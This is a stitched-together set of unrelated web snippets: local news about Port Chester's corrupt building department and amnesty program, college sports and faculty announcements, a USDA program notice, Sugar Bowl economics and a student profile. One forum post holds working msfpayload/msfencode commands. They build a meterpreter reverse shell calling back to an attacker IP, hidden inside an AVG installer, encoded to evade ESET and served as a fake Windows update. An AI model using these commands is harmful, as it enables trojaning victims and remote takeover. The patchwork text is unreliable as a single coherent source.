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The Port Chester, New York, building department has problems — big problems. In 2010, a criminal investigation into corruption at the department led to police shuttering the office, the Journal News reported ("Police investigation continues at Port Chester Building Department," by Leah Rae).
The investigation led to resignations, but the disgraced building officials took cover behind state labor laws upon leaving office, the Port Chester Patch reported in 2011 ("Police Shutter Building Department Again; Employees Sent Home," by Nick Bonapartis). "Frank Ruccolo, the department's building inspector, was suspended without pay in the resulting investigation, and soon after submitted retirement papers," the Patch reported. "Although the village drafted administrative charges against Ruccolo, the disgraced former building inspector used the protection of state personnel law to bury the charges when he retired. As a result, the details of those charges never became public, and village residents have become increasingly frustrated as other suspended former employees used the same legal strategy."
In the aftermath of the shakeup, investigators found the department's records in a shambles, the Patch reported ("'This Village Is Ass Backwards': Trustee Shocked by Building Department Records," by Nick Bonaparte). "Since a police raid on the building department more than a year ago, a handful of village staffers have been assigned the unenviable task of cataloging decades worth of unorganized paper records," the Patch reported. "The files date back to the 1930s and include more than two decades of incomplete, questionable records spanning the now-infamous tenures of former building inspectors Leonard Cusumano and Frank Ruccolo. Cusumano passed away in 2007 after 19 years as building inspector, while his protege Ruccolo headed the long-corrupt department until he was suspended last year in the wake of a criminal investigation."
Now, the newly reorganized building department is trying to find its way back to the straight and narrow. Previous building officials apparently winked at code violations for decades. The new officials are trying to make the buildings right, and they've offered owners a temporary amnesty: if owners allow inspectors in to check for violations, they can escape fines (as long as they fix the violations). The new policy is getting mixed reviews from citizens, reports the Patch ("PC Board Discusses Code Crackdown and Amnesty Program," by Liz Giegerich.
For some Port Chester homeowners, the cure for the building department's ills is proving worse than the disease. "Originally designed to entice slumlords to open their doors to building inspectors, the amnesty program was curiously expanded to include those least likely to engage in slumlording, i.e., condo, co-op and single-family homeowners," writes Frank Troha, who owns a unit in a Port Chester condominium building at 1 Landmark Square ("Community View: Building codes create absurd 'to do' list," by Frank Troha). Owners in the building have been unable to sell their units, bought years ago in good faith, because the building never received a Certificate of Occupancy. "I'm still trying to understand the rationale behind Port Chester's Amnesty program and who it really benefits," Troha wrote in an online comment. "However, I believe I do know who it harms. Many innocent homeowners who want to sell or refinance are finding it nearly impossible to do so within a reasonable time frame, and many are being required to hire expensive architects and mechanical engineers to prepare schematics of work done many decades ago by previous owners or the original builder. Why can't the Building Department just check whether what exists today is up to code and if it's not, require to homeowner to fix it, instead of putting them through such punishment and expense?"
"The issue is a complex one," Troha wrote in an email to Coastal Connection. "I believe most homeowners in Port Chester have been blindsided. Only when attempting to sell or refinance do most homeowners discover there's suddenly an issue with their home. And it can take over a year to sort matters out. I'm still trying."
Troha continues, "In my case, I was personally told last July that my condo unit and the building in which it's located lacked certificates of occupancy. This was a shock to me because for the past 24 or 25 years, transactions in my building have all gone off without a hitch. Then around May of 2012, some condo owners in my building discovered banks wouldn't lend to their prospective buyers, nor would banks refi any condos in our building. Out of the blue, the village Building Department was apparently telling the lenders we lacked valid COs for the building and the individual units."
"To make matters even more difficult," Troha continues, "in order to get a CO (needed to sell to a buyer with a mortgage or to simply refi), all homeowners in Port Chester must open their doors to an inspection. That seemed reasonable enough to many in our community – from the standpoint of health and safety, I guess – but the inspectors started asking for evidence of decades-old building permits, electrical diagrams, gas line diagrams, etc., especially if they suspected any significant work had been done on the home. In most cases, the homeowner had bought their home from a local seller with no interference from the Building Department. Any prior work done to the home by previous owners was never even considered by the buyer who believed all was very legit – as did the lawyers for both sides of the transaction, the title insurance company, and anyone else with a stake in the deal, including the lender."
Adds Troha: "Now the village inspectors – when they see something that looks new or strange to them in a home -- demand to see evidence of building permits and the proper closure of same. If the homeowner can't produce the permit(s) and evidence of closed permit(s), the next thing you know you have to start hiring "design professionals" to diagram what the inspector asks of you, so it can be compared to the original site plan. However, the original schematics are oftentimes missing. You see, the same Building Department that allowed the sales to occur for many decades was shut down twice for criminal investigations. The old regime said the homeowners' records were lost or damaged in a flood. Nevertheless, the village today is going after every homeowner hammer and tong today. It's costing some many thousands of dollars to make things right. In order to alleviate the pain of making things right, a homeowner -- who may not even know there's something awry with his or her home (and most do NOT know) – is offered "amnesty". If you apply for amnesty, any fines levied will be substantially reduced."
Troha sums up: "No matter how the village tries to defend their program as all about health and safety and a crackdown on overcrowding and slumlords, I honestly cannot see how the slumlords and overcrowding are being addressed. The crackdown is more on innocent homeowners than the slumlords who scoff at the law."


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i'm using a new Sony VAIO laptop for two months now and I really often tried to boot Backtrack on this laptop, but that wasn't successful. I think the problem is the UEFI system, what is preinstalled on the hardware. I turned "Secure Boot" in the options off, but it always says "no operating system". The only reason to boot from CD or flash drive is setting the bootmode to legacy every time. That wouldn't be a problem at all, but I would prefer a dual boot with Windows 8 and Backtrack 5 R3 under UEFI. Is there a reason for my problem?
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Brevard, N.C. - The Brevard College Athletic Department and Coach Brenda Skeffington are pleased to announce the addition of Jeff Dobert to the BC Volleyball coaching staff as an assistant coach.
"Coach Dobert will be a great asset to our team. We will utilize his strengths; training hitters, hitting at our defensive team, conditioning," said Coach Skeffington. "Because we have both worked with USA Volleyball and with Carolina Region High Performance; he is already familiar with how I teach skills and has a lot of experience scouting opponents as well and he will have an opportunity to work in every facet of coaching this year."
Dobert comes to Brevard, having served last season as an assistant coach for Peace College, located in Raleigh, N.C.
"For someone like myself that eats, sleeps and breathes volleyball there is no better job out there," commented Dobert. "I will help them grow as people on and off the court and I am committed to the education and promotion of the whole person through excellence in volleyball.
Dobert also has extensive coaching experience with USA Volleyball, having served as a USAV junior coach from 2003 and a USAV adult coach since 2006. He has been selected by the Carolina Region to head coach the High Performance Boy's National team, and also has been selected to serve as a High Performance Coach to work with both the Region's top young male and female players. He also coached the Makai Wahine volleyball club from 2003-2005 and currently is a coach with the Triangle Volleyball club.
With the USAV Adults, he was the Head Coach of a Women's USAV team from 2006-2010 and led the team to their first Regional Championship in team history in 2009, and he also managed and played with a Men's USAV team, serving as an outside hitter and setter.
Dobert was an outside hitter and defensive specialist for the United States Marine Corps "All-Marine" volleyball team from 2002-2005 and is a current USAV association member/competitor and an avid outdoor grass/sand court competitor.
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Jeff's final comment, "I am living the dream right now and I am excited to be a part of the learning and growth of the student athletes of Brevard College."


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Not every vehicle at LeMay: America's Car Museum is on display because of its forward-thinking look or features. Sometimes the car is there because of who sat behind the wheel.
Such is the case with the Fabulous Wailer Mobile, a Cadillac Brougham Tacoma's Fabulous Wailers had crafted for themselves. The car was painted by Teddy Haggerty, the artist credited with the cover artwork from the Wailers' album "Cadillac to Mexico" as well as various paintings around Tacoma.
Band members donated the 1976, four-door Cadillac in 2010. Founding member Kent Merrill died of cancer the following year.
The Fabulous Wailers stand along with the Ventures and the Sonics as Tacoma-born bands that made it big during the early days of rock and roll. They reached Top 40 status in June, 1959, receiving national attention from their hit "Tall Cool One." They are also one of the first bands to record the iconic "Louie, Louie."
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This hilarious musical exposes a world of greed, corruption, love and revolution during a time when water is worth its weight in gold and private bathrooms are outlawed. Residents of this Gotham-like city are required to use public restrooms that are regulated by a single malevolent company, which profits by charging admission for one of humanity's most basic needs. During this time of bathroom repression, one hero decides that he's had enough and plans a revolution to lead his fellow citizens to toilet freedom!


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Im trying to modify the fake metaslpoit update and fake ap pwn script to add a different encoding option in the payload with shikata_ga_nai:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.75 LPORT=9090 R | msfencode -x avg_free_stb_all_9_114_cnet.exe -t exe -e x86/shikata_ga_nai -c 10 -o avg.exe
trying to just add the encoding part so will use (ie
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.75 R | msfencode -x avg_free_stb_all_9_114_cnet.exe -t exe -e x86/shikata_ga_nai -c 10 -o /var/www/Windows-KB183905-x86-ENU.exe
My Eset security picks up the windows update which is encoded different to mine but does NOT flag my payload, Where would i put my encode in the script and does the update come via microsoft first downloaded to www then encoded from www folder on the fly.
this payload does not get flagged in ESET and could be ultimate setup for both fake update and ap pwn.
Please help I was up till 4 am trying diffent options ie creating payload first and the directing script to http:\\192.168.1.75:80 Windows-KB183905-x86-ENU.exe somethings missing cos it did work cant remember if needed /var/www/as well in url.
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The USDA-Natural Resources Conservation Service (NRCS) in Dale County, Alabama, will hold a sign-up for the Environmental Quality Incentives Program (EQIP) for the 2014 fiscal year. This signup will be held on a continuous basis. Any eligible landowner who has a resource concern or problem on cropland, pastureland, hayland or forestland may apply for assistance through this program.
Applications may be made at:
Dale County USDA Service Center
1177 Andrews Avenue Suite B-2
Ozark, Alabama 36360
Hours: Monday through Friday from 7:30 a.m. to 4:00 p.m.
Phone: 334-774-4749, Extension 3
Fax: 334-774-9951
Contact: District Conservationist
The USDA Work Group has identified the resource concerns, by priority, in Dale County as:
Seventy five percent of county funds will be devoted to Erosion/Soil Quality and applications requesting practices to control gullies will receive a High Priority. Applications requesting practices other than gully control will receive a Low Priority. The other twenty five percent of county funds will be devoted to Pastureland. Applications requesting practices for Pastureland that are a system must be installed before payment. A system is a specific set of practices that are related to the conservation concern. An example could be: Well, Pipeline, and Water Facility. If all Erosion/Soil Quality and Pastureland applications get funded then the 3rd Resource Concern that will receive the remaining funds will be Water Quality. If all Erosion/Soil Quality, Pastureland, and Water Quality applications get funded the 4th Resource Concern that will receive the remaining funds will be Woodland/Forestry and Wildlife Health.
Contracts will be developed for approved applications in order of descending environmental points until all funds are obligated. Applications will be batched and ranked after the cut-off date of October 18, 2013. Any applications filed later than this date will be considered in the next pool of funding (if additional funds become available). Additional batching dates will be specified if needed.
Limited conservation practices are as follows:
Dale County will use the Alabama NRCS state approved EQIP Practice and Payment Schedule.
Limited Resource Farmers, New and Beginning Farmers, and Socially Disadvantaged Farmers will be paid at an increased payment rate.
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School of Medicine to host Mini-Med School 2009
Heart health, stroke, brain injuries, obesity and medical technology are among the topics that the University of South Carolina School of Medicine will cover during its popular Mini-Med School beginning Oct. 6.
The $20 fee for the four-session program, to be held Tuesdays from 6:30 – 8 p.m., covers the cost of class materials. Participants will receive a Mini-Med School T-shirt and a diploma.
Space is limited, and early registration is encouraged.
Programs will be held at the medical school's campus, located next to the Dorn VA Medical Center, and will include the following:
- Oct. 6: "How Ultrasound Is Changing the Practice of Medicine," by Dr. Richard Hoppmann, dean of the School of Medicine;
- Oct. 13: "Living Heart Healthy," by Dr. Augustine Agocha, chief of the Division of Cardiovascular Medicine;
- Oct. 20: "Brainy Acts: Stroke and Brain Injuries," by Dr. Sharon Webb, assistant professor, department of neurosurgery;
- Oct. 27: "Obesity, Nutrition & Weight Loss," by Dr. Mary Beth Poston, assistant professor, department of internal medicine.
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The Mechanical Properties of Cultural Materials
Dr. Marion Mecklenburg
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July 15, 2010
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Senior Research Scientist Marion Mecklenburg discussed the role that mechanical testing plays in determining the effects of temperature, relative humidity, conservation treatments and chemical degradation on the long term stability of cultural collections.
About the Speaker:
Dr. Mecklenburg has published extensively on the mechanical properties of cultural heritage materials, particularly in relation to their environment. He has been at the Smithsonian Institution for over two decades, as Senior Research Scientist and Assistant Director for Conservation Research of the Conservation Analytical Laboratory. He has held faculty positions at the University of Delaware Art Conservation Program, the University of Maryland Department of Mechanical Engineering, the Johns Hopkins University Department of Materials Science and Engineering, and served as Coordinator for the Smithsonian-Johns Hopkins Graduate Program for Material Science.


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Sweet Economics - Sugar Bowl Dollars Make Sense For New Orleans and Louisiana
Tuesday, January 22, 2013
[This story is part one of a series of stories highlighting the Allstate Sugar Bowl's impact on the city of New Orleans and the state of Louisiana.]
Studies completed in February of 2012 by economist Dr. Timothy R. Ryan showed the annual activities of the Sugar Bowl had a combined economic impact of $493.73 million on the metro region, including direct tax revenue of $24.35 million for the state and $16.43 million local governments in the New Orleans area. The Bowl's activities for the past year included both the annual Allstate Sugar Bowl Classic as well as the Allstate BCS National Championship, hosted by the Sugar Bowl for the fourth time in 2012.
The two college football showcases were attended by over 142,000 fans, with over 73 percent of those fans coming from out-of-state. In addition, primarily due to the extreme interest in the national championship showdown between LSU and Alabama, considered by many to be one of the largest sporting events in the history of the South, Ryan's study estimated that more than 20,000 additional fans came to the city without game tickets to take part in the festive atmosphere created by the games.
"The Sugar Bowl is a true monument to success, having withstood the test of time and circumstance to become part of the very fabric of New Orleans and Louisiana," said Mitch Landrieu, the Mayor of New Orleans. "The economic impact in the form of tourism spending and tax dollars generated is such a key asset to the entire region; and in addition, each year it brings the national spotlight to our city and state to showcase their virtues to an audience of millions. And the Sugar Bowl is not just a football game; it also aids the community with its support of different programs held throughout the year."
In addition to those who actually visit New Orleans for the Sugar Bowl, many million more fans around the world watch the game each year on television, making it the only event to bring the city such tremendous attention on an annual basis.
"The Sugar Bowl is integral to the New Orleans economy, welcoming thousands of visitors to our vibrant city each year and filling our hotels at a traditionally slower time. Not only do we have the opportunity to welcome thousands of people to the city, but we receive tremendous free publicity from the national media and that exposure greatly enhances tourism, an industry that employs over 80,000 people and is vital to the economy of New Orleans."
The Sugar Bowl also serves to showcase one of the state's greatest treasures, the Mercedes-Benz Superdome. Home to the Sugar Bowl since 1975, the Superdome has become one of the most widely recognized sports facilities in the world.
"We're proud of the excellent relationship between the SMG staff at the Mercedes-Benz Superdome and the outstanding staff of the Sugar Bowl, as well as the eminent business and community leaders who make up the membership of the Sugar Bowl Committee," said Doug Thornton, senior vice-president for SMG, the management company of the Superdome. "The Superdome is truly the Sugar Bowl's home throughout the year, and we're always pleased to start the new year with one of college football's premier games."


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Lt. Gov. McConnell's replacement remains unclear
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One day after being chosen to lead the College of Charleston, there are questions circulating as to who will fill current Lieutenant Governor Glenn McConnell's position once he steps down at the end of June.
While there are no legal provisions in the state constitution that require the office to be filled, former Lieutenant Governor Andre Bauer said the current Senator Pro-Tempore, John Courson is next in line. According to, "The State," Courson said he will not leave his position in the Senate to fill in for McConnell.
News 2 reached out to Sen. Courson Sunday afternoon, and he seemed less committed to that stance. Courson said he hasn't had a chance to speak with McConnell about his plan, so he declined to comment.
Bauer said Courson is required to become the next Lieutenant Governor.
"He doesn't have a choice," Bauer said. "He would have to remove himself as President Pro-Tem of the Senate, step down as the leader of the Senate. They would then have to appoint someone new, which would have to be voted on by the senate. Whomever they voted to be President Pro-Tem would be elevated to the position."
Bauer debunked the reports that Senator Courson would refuse to fill the state's second highest position. Bauer cited McConnell himself when he stepped into the Lieutenant Governor position when Ken Ard was forced to resign following ethics charges in 2012.
"I've never heard of it happening before," he said. "If you don't have a spelled out and delineated line of how the progression falls in leadership, you could have chaos."
Other legal experts said they would be surprised if the office is filled once McConnell leaves. That could mean the office could be vacant until January, which is after the general election and the new Lieutenant Governor is sworn in.
If Courson does assume the office, Bauer said he will only hold that position until the election in November. Courson can, however, run as the incumbent.
McConnell will begin his new job as President of the College of Charleston beginning July 1.
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Personalized Maglite Mini Solitaire is the most popular small keychain flashlight there is. It is made from anodized aluminum alloy, available only in black. For more colors see the LED model. A grooved body provides perfect grip while the tailcap includes a hole for lanyard attachment that can be used to fix the flashlight to your keychain. Water and Shock resistance ensures that it is as durable as they come. The Solitaire projects its light using a tiny incandescent bulb. There is also a spare bulb secured inside the tailcap.
• Spot and Flood modes available
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Francis Marion University Assistant Professor of Nursing Rhonda M. Brogdon of Olanta is the fourth recipient of the FMU African-American Faculty and Staff Coalition (AAFSC) Diversity Award. The award seeks to recognize a faculty or staff member for their significant contributions to enhance the university's diversity and inclusiveness.
"Rhonda is most deserving of this award. She was chosen because of her work across campus, her work with professional organizations and in the community," said Teresa McDuffie, chairman of the selection committee. "Her interaction with faculty, staff and students exemplifies the values of diversity."
The award was presented to Brogdon at the 12th Annual Banquet of the AAFSC on Thursday, Feb. 21. The proceeds from the banquet go toward the group's scholarship funds and functions. The keynote speaker for the gala was Dr. John Keith III. He is a pediatrician at Eastern Carolina Pediatrics and a former chief of pediatrics at Carolinas Hospital Systems. Keith is a native of Florence County and a graduate of Hannah-Pamplico High School. He is also a graduate of Howard University College of Medicine in Washington, D.C. and Duke University in Durham, N.C.
Brogdon has been a medical-surgical nurse for 16 years. She received the Bachelor of Science in nursing from Clemson University in 1994, the Master of Science in nursing in 2004, the Master of Business Administration in 2001, and the Doctor of Nursing Practice from Duquesne University in 2010. Rhonda has served as mentor and preceptor for 12 years in bedside nursing and was consistently evaluated as a "role model" nurse for 10 years while working in acute care by her nurse manager.
Recipients of the FMU African-American Faculty and Staff Coalition Diversity Award are people who routinely and voluntarily make diversity and inclusion a priority in much of what they do or people whose major responsibilities are implementing gender diversity and inclusion initiatives, but consistently explore ways to go above and beyond expectations.


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Family package welcomes kids to Kohler
Published March 6, 2012
There are some places you just don't associate with kids. Lazing in the Kohler Waters Spa is one of them. But on our first visit to The American Club last year, it was striking how many families were eating in the restaurants, strolling in the garden and enjoying many of the charms of this getaway that once seemed strictly like the domain of adults perhaps specifically seeking a moment's peace from the hustle and bustle routine of family life. Kohler has noticed, too.


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Clarkson Student Spotlight: April 2011
Leeah Cora Estell Franklin '12
Innovation & Entrepreneurship, minor in Psychology
East Haven, Vermont native Leeah knows that the key to her own success is trying to live a stress-free lifestyle. But how does she do it? By doing her favorite things as much as possible, which include making art, going to the gym (she works there, too!) and listening to her favorite musician, Bob Marley. Let's see what else Leeah had to say about Clarkson, reducing stress and more.
Q: If there was a soundtrack to your life, what artist would be playing?
A: Bob Marley. I love his music. It always puts me in a good mood and helps me to relax.
Q: What has been your favorite class?
A: Human Sexuality with Professor Gary Kelly. He is an excellent teacher and his class is very interesting. That class changed my entire outlook towards other people and taught me to better understand and appreciate individual differences.
Q: Where is your favorite place in the world?
A: It's hard to think of an absolute favorite place when there are so many places I have yet to visit. However, a couple years ago I went to Jamaica. I fell in love with the countryside, its green hills and beautiful coastline. The peaceful, carefree lifestyle of the locals and relaxed environment made it a great experience.
Q: Why did you choose Innovation & Entrepreneurship as your major?
A: It has always been my dream to own a restaurant some day, and in high school I knew that I wanted to continue my education and earn a degree in business. Once I got here, I realized that I had made the right decision and I really enjoyed my business classes. I went right ahead and declared my major freshman year.
Q: Do you have any hobbies?
A: I have always been passionate about art, and I find that expressing my creativity through art is a wonderful way to reduce stress. I put all my work aside for an hour or more to sit comfortably in my apartment and work on one of many art projects that I currently am in the middle of.
Q: What does "defy convention" mean to you?
A: In my opinion, to "defy convention" means to go above and beyond what is expected. It means to challenge the standards set by society and create new and innovative methods for solving problems.
Q: Why did you choose Clarkson?
A: I chose to come to Clarkson because of its excellent business program. The School of Business has a lot to offer, and its reputation of being one of the best in the nation had a huge impact on my decision to enroll here. Also, I knew Clarkson's rural location would be an ideal setting for me to focus on my studies.
Q: What is your guilty pleasure?
A: I would have to say chocolate is my guilty pleasure. My roommate and I both are addicted to chocolate, we have a special chocolate drawer in our kitchen devoted to our candy bars.
Q: What are your plans for the summer?
A: I'm really looking forward to the School of Business trip to Africa this summer. A small group of us are going to Uganda and Kenya with Professor Augustine Lado shortly after classes end. I have always wanted to go Africa and when I heard that Clarkson was offering the trip, I knew I had to be on it.
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